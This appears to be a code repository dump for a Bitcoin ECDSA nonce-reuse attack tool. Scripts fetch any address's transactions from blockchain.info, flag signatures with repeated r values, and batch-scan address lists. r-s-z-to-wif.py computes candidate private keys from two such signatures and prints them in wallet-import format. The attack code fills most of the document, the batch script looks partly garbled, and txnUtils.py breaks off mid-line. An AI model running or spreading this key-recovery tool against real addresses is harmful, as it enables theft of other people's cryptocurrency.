├── R-Scaner.py ├── README.md ├── RawTX_RSZ.py ├── START.bat ├── keyUtils.py ├── r-s-z-to-wif.py ├── rscan.py └── txnUtils.py /R-Scaner.py: -------------------------------------------------------------------------------- 1 | import json 2 | import urllib2 3 | import time 4 | import sys 5 | from colorama import init 6 | init() 7 | 8 | from colorama import Fore, Back, Style 9 | def rscan(addr): 10 | """Check address for duplicated r values.""" 11 | # TODO: add BCI API check address 12 | 13 | print "ADDRESS-R-SCAN: " 14 | 15 | urladdr = 'https://blockchain.info/address/%s?format=json&offset=%s' 16 | 17 | 18 | addrdata = json.load(urllib2.urlopen(urladdr % (addr, '0'))) 19 | ntx = addrdata['n_tx'] 20 | print (Fore.CYAN + "Data for pubkey: " + str(addr) + " has " + str(addrdata['n_tx']).center(6) + "Tx%s" % 's'[ntx==1:]) 21 | #print "number of txs: " + str(addrdata['n_tx']) 22 | 23 | 24 | txs = [] 25 | for i in range(0, ntx//50 + 1): 26 | sys.stderr.write("\nFetching Txs from offset\t%s\n" % str(i*50)) 27 | jdata = json.load(urllib2.urlopen(urladdr % (addr, str(i*50)))) 28 | txs.extend(jdata['txs']) 29 | 30 | assert len(txs) == ntx 31 | addrdata['txs'] = txs 32 | 33 | 34 | y = 0 35 | inputs = [] 36 | while y < ntx: 37 | zy = 0 38 | while zy < addrdata['txs'][y]['vin_sz']: 39 | inputs.append(addrdata['txs'][y]['inputs'][zy]['script']) 40 | zy += 1 41 | y += 1 42 | 43 | xi = 0 44 | zi = 1 45 | lenx = len(inputs) 46 | alert = 0 47 | 48 | bad = [] 49 | while xi < lenx-1: 50 | x = 0 51 | while x < lenx-zi: 52 | if inputs[xi][10:74] == inputs[x+zi][10:74]: 53 | print (Fore.RED + "\nVulnerable Resued R-Value: ") 54 | print(Style.RESET_ALL) 55 | print inputs[x+zi][10:74] 56 | bad.append((int(x), str(inputs[x+zi][10:74]))) 57 | alert += 1 58 | x += 1 59 | zi += 1 60 | xi += 1 61 | 62 | 63 | if alert < 1: 64 | print (Fore.GREEN +"\n\n======================Good pubKey. Not vulnerable=========================.") 65 | print(Style.RESET_ALL) 66 | else: 67 | print (Fore.RED + "Address %s has %d reused R value%s!" % (addr, len(bad), "s"[len(bad)==1:])) 68 | return bad 69 | print(Style.RESET_ALL) 70 | if __name__ == '__main__': 71 | from sys import argv 72 | print (Fore.YELLOW + """SCAN ADDR""") 73 | if len(argv) == 1: 74 | addr = raw_input("type address: ") 75 | elif len(argv) == 2 and isinstance(argv[1], basestring): 76 | addr = str(argv[1]) 77 | rscan(addr) 78 | 79 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Bitcoin-Key-Compression-Tool 2 | Get R, S and Z values from Raw Bitcoin Transaction 3 | 4 | requirements: 5 | 6 | Python2.7 7 | 8 | modules-colorama,bitcoin,ecdsa,utils,base58 9 | 10 | for Ubuntu 20.04 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py 11 | 12 | sudo python2 get-pip.py pip install colorama 13 | 14 | https://youtu.be/LIyssI5ZUDk 15 | 16 | https://2xoin.com/getRSZfromRawTX/ 17 | 18 | Bitcoin Key Compression Tool https://iancoleman.io/bitcoin-key-compression 19 | 20 | ----------------------------------------- 21 | 22 | -------------------------------------------------------------------------------- /RawTX_RSZ.py: -------------------------------------------------------------------------------- 1 | import bitcoin 2 | import hashlib 3 | import txnUtils 4 | import keyUtils 5 | 6 | tx = "01000000013c10dccdd96187ec065a2404a829be91ccb2a80ee7986d4cbbb31cd493f69e5d000000006c493046022100c9f051042467433b2199526db1ba327154d2bcd7c90c40070ba06869c5512194022100b1146f90fac7ed0db71d2f0c91f30c51d11310c508a64719dc424cdf710cb38b012102545d2c25b98ec8827f2d9bee22b7a9fb98091b2008bc45b3b806d44624dc038cffffffff0200c5015a020000001976a914f507b67f6af2dcc993f6958c05855f4861cefe8888acc427e9254f0600001976a914b3dd79fb3460c7b0d0bbb8d2ed93436b88b6d89c88ac00000000" 7 | 8 | m = txnUtils.parseTxn(tx) 9 | e = txnUtils.getSignableTxn(m) 10 | z = hashlib.sha256(hashlib.sha256(e.decode('hex')).digest()).digest() 11 | z1 = z[::-1].encode('hex_codec') 12 | z = z.encode('hex_codec') 13 | s = keyUtils.derSigToHexSig(m[1][:-2]) 14 | pub = m[2] 15 | sigR = s[:64] 16 | sigS = s[-64:] 17 | sigZ = z 18 | print ('Signed TX is :', tx) 19 | print ('Signature (r, s pair) is :', s) 20 | print ('Public Key is :', pub) 21 | print ("") 22 | print ("#################################################################################################") 23 | print ("") 24 | print ('Unsigned TX is :', e) 25 | print ('hash of message (sigZ) is USE This ONE :', z) 26 | print ('reversed z :', z1) 27 | print ("") 28 | print ("#################################################################################################") 29 | print ("##################################VALUES NEEDED ARE BELOW #######################################") 30 | print ("#################################################################################################") 31 | print ("") 32 | print ('THE R VALUE is :', sigR) 33 | print ('THE S VALUE is :', sigS) 34 | print ('THE Z VALUE is :', sigZ) 35 | print ('THE PUBKEY is :', pub) 36 | -------------------------------------------------------------------------------- /START.bat: -------------------------------------------------------------------------------- 1 | @Echo Off 2 | COLOR 0F 3 | 4 | SET file=addr.txt 5 | 6 | setlocal enabledelayedexpansion 7 | 8 | SET sessFile=_session.txt 9 | 10 | SET Address=0 11 | echo [~] calc total Address in file "!file!" .. 12 | For /F %%a In (%file%) Do ( 13 | SET /a Address+=1 14 | ) 15 | 16 | SET lastN=0 17 | IF EXIST !sessFile! ( 18 | SET /P lastN=!sessFile! 30 | 31 | R-Scaner.py %%a 32 | REM timeout /T 1 33 | 34 | SET /a lastN+=1 35 | ) 36 | 37 | SET /a n+=1 38 | ) 39 | 40 | pause 41 | -------------------------------------------------------------------------------- /keyUtils.py: -------------------------------------------------------------------------------- 1 | import ecdsa 2 | import ecdsa.der 3 | import ecdsa.util 4 | import hashlib 5 | import unittest 6 | import random 7 | import re 8 | import struct 9 | import utils 10 | import base58 11 | 12 | # https://en.bitcoin.it/wiki/Wallet_import_format 13 | 14 | def privateKeyToWif(key_hex): 15 | return base58.b58encode_check(0x80, key_hex.decode('hex')) 16 | 17 | 18 | def wifToPrivateKey(s): 19 | b = base58.bs58decode_check(s) 20 | return b.encode('hex') 21 | 22 | 23 | # Input is a hex-encoded, DER-encoded signature 24 | 25 | # Output is a 64-byte hex-encoded signature 26 | 27 | def derSigToHexSig(s): 28 | s, junk = ecdsa.der.remove_sequence(s.decode('hex')) 29 | if junk != '': 30 | print('JUNK', junk.encode('hex')) 31 | assert(junk == '') 32 | x, s = ecdsa.der.remove_integer(s) 33 | y, s = ecdsa.der.remove_integer(s) 34 | return ('%064x%064x' % (x, y)) 35 | 36 | 37 | # Input is hex string 38 | 39 | def privateKeyToPublicKey(s): 40 | sk = ecdsa.SigningKey.from_string(s.decode('hex'), curve=ecdsa.SECP256k1) 41 | vk = sk.verifying_key 42 | return ('\04' + sk.verifying_key.to_string()).encode('hex') 43 | 44 | 45 | 46 | # Input is hex string 47 | 48 | def keyToAddr(s): 49 | return pubKeyToAddr(privateKeyToPublicKey(s)) 50 | 51 | 52 | 53 | def pubKeyToAddr(s): 54 | ripemd160 = hashlib.new('ripemd160') 55 | ripemd160.update(hashlib.sha256(s.decode('hex')).digest()) 56 | return base58.b58encode_check(ripemd160.digest()) 57 | 58 | 59 | 60 | def addrHashToScriptPubKey(b58str): 61 | assert(len(b58str) == 34) 62 | # 76 A9 14 (20 bytes) 88 AC 63 | return ('76a914' + utils.base58CheckDecode(b58str).encode('hex') + '88ac') 64 | 65 | 66 | class TestKey(unittest.TestCase): 67 | 68 | def test_privateKeyToWif(self): 69 | w = privateKeyToWif("0C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D") 70 | self.assertEqual(w, "5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ") 71 | 72 | def test_WifToPrivateKey(self): 73 | k = wifToPrivateKey("5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ") 74 | self.assertEqual(k.upper(), "0C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D") 75 | 76 | def test_keyToAddr(self): 77 | a = keyToAddr("18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725") 78 | self.assertEqual(a, "16UwLL9Risc3QfPqBUvKofHmBQ7wMtjvM") 79 | 80 | def test_pairs1(self): 81 | #blockchain.info 82 | wallet_addr = "1EyBEhrriJeghX4iqATQEWDq38Ae8ubBJe" 83 | wallet_private = "8tnArBrrp4KHVjv8WA6HiX4ev56WDhqGA16XJCHJzhNH" 84 | wallet_key = utils.base256encode(utils.base58decode(wallet_private)).encode('hex') 85 | self.assertEqual(keyToAddr(wallet_key), wallet_addr) 86 | # can import into multibit 87 | bitcoin_qt = "5Jhw8B9J9QLaMmcBRfz7x8KkD9gwbNoyBMfWyANqiDwm3FFwgGC" 88 | wallet_key = utils.base58CheckDecode(bitcoin_qt).encode('hex') 89 | self.assertEqual(keyToAddr(wallet_key), wallet_addr) 90 | wallet_key = "754580de93eea21579441b58e0c9b09f54f6005fc71135f5cfac027394b22caa" 91 | self.assertEqual(keyToAddr(wallet_key), wallet_addr) 92 | 93 | def test_pairs2(self): 94 | #http://gobittest.appspot.com/Address 95 | # Cannot import into multibit 96 | wallet_private = "BB08A897EA1E422F989D36DE8D8186D8406BE25E577FD2A66976BF172325CDC9" 97 | wallet_addr = "1MZ1nxFpvUgaPYYWaLPkLGAtKjRqcCwbGh" 98 | self.assertEqual(keyToAddr(wallet_private), wallet_addr) 99 | 100 | def test_pairs3(self): 101 | # Can import into multibit 102 | # http://bitaddress.org 103 | wallet_private = "5J8PhneLEaL9qEPvW5voRgrELeXcmM12B6FbiA9wZAwDMnJMb2L" 104 | wallet_addr = "1Q2SuNLDXDtda7DPnBTocQWtUg1v4xZMrV" 105 | self.assertEqual(keyToAddr(utils.base58CheckDecode(wallet_private).encode('hex')), wallet_addr) 106 | 107 | def test_der(self): 108 | self.assertEqual(ecdsa.der.encode_sequence( 109 | ecdsa.der.encode_integer(0x123456), 110 | ecdsa.der.encode_integer(0x89abcd)).encode('hex'), 111 | "300b020312345602040089abcd") 112 | 113 | def test_derSigToHexSig(self): 114 | derSig = "304502204c01fee2d724fb2e34930c658f585d49be2f6ac87c126506c0179e6977716093022100faad0afd3ae536cfe11f83afaba9a8914fc0e70d4c6d1495333b2fb3df6e8cae" 115 | self.assertEqual("4c01fee2d724fb2e34930c658f585d49be2f6ac87c126506c0179e6977716093faad0afd3ae536cfe11f83afaba9a8914fc0e70d4c6d1495333b2fb3df6e8cae", 116 | derSigToHexSig(derSig)) 117 | txn = ("0100000001a97830933769fe33c6155286ffae34db44c6b8783a2d8ca52ebee6414d399ec300000000" + "8a47" + "304402202c2e1a746c556546f2c959e92f2d0bd2678274823cc55e11628284e4a13016f80220797e716835f9dbcddb752cd0115a970a022ea6f2d8edafff6e087f928e41baac01" + "41" + "04392b964e911955ed50e4e368a9476bc3f9dcc134280e15636430eb91145dab739f0d68b82cf33003379d885a0b212ac95e9cddfd2d391807934d25995468bc55" + "ffffffff02015f0000000000001976a914c8e90996c7c6080ee06284600c684ed904d14c5c88ac204e000000000000" + "1976a914348514b329fda7bd33c7b2336cf7cd1fc9544c0588ac00000000") 118 | myTxn_forSig =("0100000001a97830933769fe33c6155286ffae34db44c6b8783a2d8ca52ebee6414d399ec300000000" + "1976a914" + "167c74f7491fe552ce9e1912810a984355b8ee07" + "88ac" + "ffffffff02015f0000000000001976a914c8e90996c7c6080ee06284600c684ed904d14c5c88ac204e000000000000" +"1976a914348514b329fda7bd33c7b2336cf7cd1fc9544c0588ac00000000" + "01000000") 119 | public_key = "04392b964e911955ed50e4e368a9476bc3f9dcc134280e15636430eb91145dab739f0d68b82cf33003379d885a0b212ac95e9cddfd2d391807934d25995468bc55" 120 | hashToSign = hashlib.sha256(hashlib.sha256(myTxn_forSig.decode('hex')).digest()).digest().encode('hex') 121 | sig_der = "304402202c2e1a746c556546f2c959e92f2d0bd2678274823cc55e11628284e4a13016f80220797e716835f9dbcddb752cd0115a970a022ea6f2d8edafff6e087f928e41baac01"[:-2] 122 | sig = derSigToHexSig(sig_der) 123 | vk = ecdsa.VerifyingKey.from_string(public_key[2:].decode('hex'), curve=ecdsa.SECP256k1) 124 | self.assertEquals(vk.verify_digest(sig.decode('hex'), hashToSign.decode('hex')), True) 125 | #OP_DUP OP_HASH160 167c74f7491fe552ce9e1912810a984355b8ee07 OP_EQUALVERIFY OP_CHECKSIG 126 | 127 | if __name__ == '__main__': 128 | unittest.main() -------------------------------------------------------------------------------- /r-s-z-to-wif.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import hashlib 4 | 5 | p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 6 | #r = 0xa77e0e01b69987421b4a58935130cbd80f4ac65ec33b6232248235fcd8708e7c 7 | #s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e 8 | #s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab 9 | z1 = 0x75c991a64fa69368d1988c2ad6f885b17b8a69868763852b2c86aacc6b4745e8 10 | z2 = 0x5e3f128174bd4f0cd503ec82004467cc605265c950cae88ca9f247419bee5610 11 | 12 | # r1 and s1 are contained in this ECDSA signature encoded in DER (openssl default). 13 | der_sig1 = "3044022035e4dd6e4d56638eee57fddf6af2d9f8a1cd8ae35d8e304b175f8c5ec0d80f6f022024e0255335dc10284b3df9feadd1edc2bfb0540c03d1dbc09d65a84179f3b3a701" 14 | 15 | # the same thing with the above line. 16 | der_sig2 = "3044022035e4dd6e4d56638eee57fddf6af2d9f8a1cd8ae35d8e304b175f8c5ec0d80f6f02202b1c3c17b3d13a8e6c9ad6a75743feb2040dff9d741e53c7c5564baba7a09acb01" 17 | 18 | params = {'p':p,'sig1':der_sig1,'sig2':der_sig2,'z1':z1,'z2':z2} 19 | 20 | def hexify (s, flip=False): 21 | if flip: 22 | return s[::-1].encode ('hex') 23 | else: 24 | return s.encode ('hex') 25 | 26 | def unhexify (s, flip=False): 27 | if flip: 28 | return s.decode ('hex')[::-1] 29 | else: 30 | return s.decode ('hex') 31 | 32 | def inttohexstr(i): 33 | tmpstr = hex(i) 34 | hexstr = tmpstr.replace('0x','').replace('L','').zfill(64) 35 | return hexstr 36 | 37 | b58_digits = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' 38 | 39 | def dhash(s): 40 | return hashlib.sha256(hashlib.sha256(s).digest()).digest() 41 | 42 | def rhash(s): 43 | h1 = hashlib.new('ripemd160') 44 | h1.update(hashlib.sha256(s).digest()) 45 | return h1.digest() 46 | 47 | def base58_encode(n): 48 | l = [] 49 | while n > 0: 50 | n, r = divmod(n, 58) 51 | l.insert(0,(b58_digits[r])) 52 | return ''.join(l) 53 | 54 | def base58_encode_padded(s): 55 | res = base58_encode(int('0x' + s.encode('hex'), 16)) 56 | pad = 0 57 | for c in s: 58 | if c == chr(0): 59 | pad += 1 60 | else: 61 | break 62 | return b58_digits[0] * pad + res 63 | 64 | def base58_check_encode(s, version=0): 65 | vs = chr(version) + s 66 | check = dhash(vs)[:4] 67 | return base58_encode_padded(vs + check) 68 | 69 | def get_der_field(i,binary): 70 | if (ord(binary[i]) == 02): 71 | length = binary[i+1] 72 | end = i + ord(length) + 2 73 | string = binary[i+2:end] 74 | return string 75 | else: 76 | return None 77 | 78 | # Here we decode a DER encoded string separating r and s 79 | def der_decode(hexstring): 80 | binary = unhexify(hexstring) 81 | full_length = ord(binary[1]) 82 | if ((full_length + 3) == len(binary)): 83 | r = get_der_field(2,binary) 84 | s = get_der_field(len(r)+4,binary) 85 | return r,s 86 | else: 87 | return None 88 | 89 | def show_results(privkeys): 90 | print "Posible Candidates..." 91 | for privkey in privkeys: 92 | hexprivkey = inttohexstr(privkey) 93 | print "intPrivkey = %d" % privkey 94 | print "hexPrivkey = %s" % hexprivkey 95 | print "bitcoin Privkey (WIF) = %s" % base58_check_encode(hexprivkey.decode('hex'),version=128) 96 | print "bitcoin Privkey (WIF compressed) = %s" % base58_check_encode((hexprivkey + "01").decode('hex'),version=128) 97 | 98 | 99 | def show_params(params): 100 | for param in params: 101 | try: 102 | print "%s: %s" % (param,inttohexstr(params[param])) 103 | except: 104 | print "%s: %s" % (param,params[param]) 105 | 106 | def inverse_mult(a,b,p): 107 | y = (a * pow(b,p-2,p)) #(pow(a, b) modulo p) where p should be a prime number 108 | return y 109 | 110 | # Here is the wrock! 111 | def derivate_privkey(p,r,s1,s2,z1,z2): 112 | 113 | privkeys = [] 114 | 115 | privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(s1-s2)),p) % int(p))) 116 | privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(s1+s2)),p) % int(p))) 117 | privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(-s1-s2)),p) % int(p))) 118 | privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(-s1+s2)),p) % int(p))) 119 | 120 | privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(s1-s2)),p) % int(p))) 121 | privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(s1+s2)),p) % int(p))) 122 | privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(-s1-s2)),p) % int(p))) 123 | privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(-s1+s2)),p) % int(p))) 124 | 125 | return privkeys 126 | 127 | def process_signatures(params): 128 | 129 | p = params['p'] 130 | sig1 = params['sig1'] 131 | sig2 = params['sig2'] 132 | z1 = params['z1'] 133 | z2 = params['z2'] 134 | 135 | tmp_r1,tmp_s1 = der_decode(sig1) # Here we extract r and s from the signature encoded in DER. 136 | tmp_r2,tmp_s2 = der_decode(sig2) # Idem. 137 | 138 | # the key of ECDSA are the integer numbers thats why we convert hexa from to them. 139 | r1 = int(tmp_r1.encode('hex'),16) 140 | r2 = int(tmp_r2.encode('hex'),16) 141 | s1 = int(tmp_s1.encode('hex'),16) 142 | s2 = int(tmp_s2.encode('hex'),16) 143 | 144 | if (r1 == r2): # If r1 and r2 are equal the two signatures are weak and we can recover the private key. 145 | if (s1 != s2): # This: (s1-s2)>0 should be complied in order be able to compute the private key. 146 | privkey = derivate_privkey(p,r1,s1,s2,z1,z2) 147 | return privkey 148 | else: 149 | raise Exception("Privkey not computable: s1 and s2 are equal.") 150 | else: 151 | raise Exception("Privkey not computable: r1 and r2 are not equal.") 152 | 153 | def main(): 154 | show_params(params) 155 | privkey = process_signatures(params) 156 | if len(privkey)>0: 157 | show_results(privkey) 158 | 159 | if __name__ == "__main__": 160 | main() 161 | -------------------------------------------------------------------------------- /rscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | 4 | ################################################################################# 5 | # # 6 | #.______ _______. ______ ___ .__ __. # 7 | #| _ \ / | / | / \ | \ | | # 8 | #| |_) | ______ | (----`| ,----' / ^ \ | \| | # 9 | #| / |______| \ \ | | / /_\ \ | . ` | # 10 | #| |\ \----. .----) | | `----./ _____ \ | |\ | # 11 | #| _| `._____| |_______/ \______/__/ \__\ |__| \__| v0.1.2 # 12 | # # 13 | #GNU PL - 2015 - ca333 # 14 | # # 15 | #USE AT OWN RISK! # 16 | ################################################################################# 17 | 18 | import json 19 | import urllib2 20 | import time 21 | import sys 22 | 23 | from colorama import init 24 | init() 25 | 26 | from colorama import Fore, Back, Style 27 | 28 | #for some reason blockchain.info api-chain is 59711 blocks short.. 29 | blockstart = 170399 30 | blockstart += 59711 31 | blockcount = urllib2.urlopen("https://blockchain.info/de/q/getblockcount").read() 32 | 33 | print (Fore.YELLOW +"WELCOME TO R-scan v0.1.2!") 34 | 35 | print "ADDRESS-R-SCAN: " 36 | addr = raw_input("type address: ") 37 | urladdr = "https://blockchain.info/de/rawaddr/" + str(addr) 38 | #control api-url 39 | print urladdr 40 | addrdata = json.load(urllib2.urlopen(urladdr)) 41 | print "Data for pubkey: " + str(addr) 42 | print(Style.RESET_ALL) 43 | print (Fore.CYAN + "number of txs: " + str(addrdata['n_tx'])) 44 | print(Style.RESET_ALL) 45 | #tx-details: 46 | y = 0 47 | inputs = [] 48 | while y < addrdata['n_tx']: 49 | print (Fore.MAGENTA + "#################################################################################") 50 | print(Style.RESET_ALL) 51 | print "TX Number :" + str(y+1) 52 | print "hash: " + str(addrdata['txs'][y]['hash']) 53 | print "number of inputs: " + str(addrdata['txs'][y]['vin_sz']) 54 | #only if 55 | #if addrdata['txs'][y]['vin_sz'] > 1: 56 | zy = 0 57 | while zy < addrdata['txs'][y]['vin_sz']: 58 | print "Input-ScriptNR " + str(zy+1) + " :" + str(addrdata['txs'][y]['inputs'][zy]['script']) 59 | inputs.append(addrdata['txs'][y]['inputs'][zy]['script']) 60 | zy += 1 61 | 62 | y += 1 63 | 64 | print "compare: " 65 | 66 | xi = 0 67 | zi = 1 68 | lenx = len(inputs) 69 | alert = 0 70 | 71 | #compare the sig values in each input script 72 | while xi < lenx-1: 73 | x = 0 74 | while x < lenx-zi: 75 | if inputs[xi][10:74] == inputs[x+zi][10:74]: 76 | print (Fore.RED + "In Input Number: " + str(xi) + "[global increment] " + str(inputs[xi])) 77 | print('\a') 78 | print "Vulnerable Resued R-Value: " 79 | print inputs[x+zi][10:74] 80 | alert += 1 81 | print(Style.RESET_ALL) 82 | 83 | x += 1 84 | 85 | zi += 1 86 | xi += 1 87 | 88 | #check duplicates 89 | #alert when everything ok 90 | 91 | if alert < 1: 92 | print (Fore.GREEN +"======================Good pubKey. Not vulnerable=========================") 93 | 94 | 95 | sys.exit() 96 | -------------------------------------------------------------------------------- /txnUtils.py: -------------------------------------------------------------------------------- 1 | import ecdsa 2 | import hashlib 3 | import struct 4 | import unittest 5 | import utils 6 | import keyUtils 7 | import base58 8 | 9 | # Makes a transaction from the inputs 10 | # outputs is a list of [redemptionSatoshis, outputScript] 11 | 12 | def makeRawTransaction(outputTransactionHash, sourceIndex, scriptSig, outputs): 13 | def makeOutput(data): 14 | redemptionSatoshis, outputScript = data 15 | return (struct.pack("